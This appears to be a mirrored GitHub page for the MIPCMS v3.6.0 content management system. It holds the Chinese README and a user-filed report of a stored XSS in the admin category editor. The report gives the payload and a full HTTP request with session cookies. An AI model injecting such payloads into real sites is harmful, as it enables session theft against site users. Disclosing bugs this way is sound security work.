MIPCMS内容管理系统 v3.6.0 介绍

已有最新版本，请移步至 MIPCMS 5.X

官网地址

http://www.mipcms.com

主要使用技术栈：

ThinkPHP5.0.x 、Vue2.x 、Axios、iview、MIP

系统简介：

MIPCMS是一套免费开源的基于百度移动加速器MIP引擎基础上而开发的文章、资讯、内容管理系统，同时该系统也为互联网站长、创业者等群体打造的SEO优化后的建站系统。MIPCMS适合个人博客、新闻、门户、垂直领域、社群等类型需求。

特点：

我们优化了前后结合特点，采用非前后分离模式。你可以在任何一个PHP版本大于5.4的空间上完整使用整套系统，而不需要单独购买服务器花费昂贵的投资费用。
我们采用传统的模板切换方式，你可以任意切换你喜欢的模板 pc端模板、m端模板。
我们针对的是小白使用群体，你不需要费太多的精力在建站技术上，你也不需要费太多的精力在网站SEO上，对比程序开发、和网站SEO，请相信我们是非常专业的。你可以认为我们自己也在使用这套系统，请相信那份真挚的梦想，请保持那份一劳永逸的心，我们与中小站点的站长并肩齐步。

功能描述：

* 文章管理
* 标签管理
* 熊掌号管理
* 模板一键切换
* MIP标准模板
* slim富文本编辑器
* UUID通用唯一识别码 网址

环境要求：

* PHP >= 5.4.0 （推荐支持PHP7）
* PDO PHP Extension
* MBstring PHP Extension
* CURL PHP Extension

注意事项：

- 安装时请允许upload目录有可写权限
- 安装时请允许cache目录有可写权限
- 安装时请允许system\config目录有可写权限
- 安装时请允许public\install目录有可写权限
- 推荐使用 PHP7.0

安装教程：

- 下载源码拷贝到网站根目录
- 解析绑定域名（主机允许外网访问）
- 输入数据库的信息 进行安装
- 安装时 如遇见 '系统错误' 解决方案
    1、请检查PHP版本 必须>=5.4;
    2、Nginx环境请配置伪静态
    3、Apache伪静态规则是否开启
    4、public\\install目录是否有可写权限
- 登录后 修改密码
- M站开启方式，后台配置m域名即可
- 后台统计代码 M站请输入mip统计代码（M站禁止输入非mip支持统计代码）

联系我们：

QQ群：576199348

There is a Store XSS in Administrator Pannel

1.After the administrator logged in, open the following page:
http://127.0.0.1/?s=/admin/article/articleCategory/
2.click 'modify'
3.fill payload in Category Name :
"><imG/src=1 onerror=alert(1)>
4.save
5.The request package :
POST /?s=/article/ApiAdminArticle/categoryEdit HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: application/json, text/plain, / Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Referer: http://127.0.0.1/?s=/admin/article/articleCategory/ Content-Type: application/json;charset=utf-8 access-key: cFaLOmUGoz9URROtxaAqe37vHSlI0LL3 terminal: pc uid: 9afb4393b6cddbeb7418ab77 access-token: 06cdb3c844508158ebb7483c221c9e63 Content-Length: 324 Cookie: security_level=0; Hm_lvt_7b43330a4da4a6f4353e553988ee8a62=1549460630; Hm_lvt_3155433929be1afd6cef849b9709d4d7=1553359007; lang_type=zh-CN; bdshare_firstime=1549546719595; wp-settings-time-1=1551345212; PHPSESSID=65unerfghovped0ap7eokcrdi3; admin_id=1; admin_level=1; admin_name=admin; admin_secret=8b99f316efb80526f2434ded92036bff; Hm_lpvt_3155433929be1afd6cef849b9709d4d7=1553359007 DNT: 1 Connection: close

{"id":1,"pid":0,"name":""><imG/src=1 onerror=alert(1)>","url_name":"123","seo_title":"","template":"article.html","detail_template":"articleDetail.html","category_url":"/article/<url_name>/","category_page_url":"<category_url>index_.html","detail_url":"/article/.html","description":"","keywords":"","content":""}

6.open the url it will trigger:
http://127.0.0.1/index.php?s=/article/123/

sansanyun / mipcms Goto Github PK

mipcms's Introduction

MIPCMS内容管理系统 v3.6.0 介绍

官网地址

主要使用技术栈：

系统简介：

特点：

功能描述：

环境要求：

注意事项：

安装教程：

联系我们：

mipcms's People

Contributors

Stargazers

Watchers

Forkers

mipcms's Issues

Recommend Projects

Recommend Topics

Recommend Org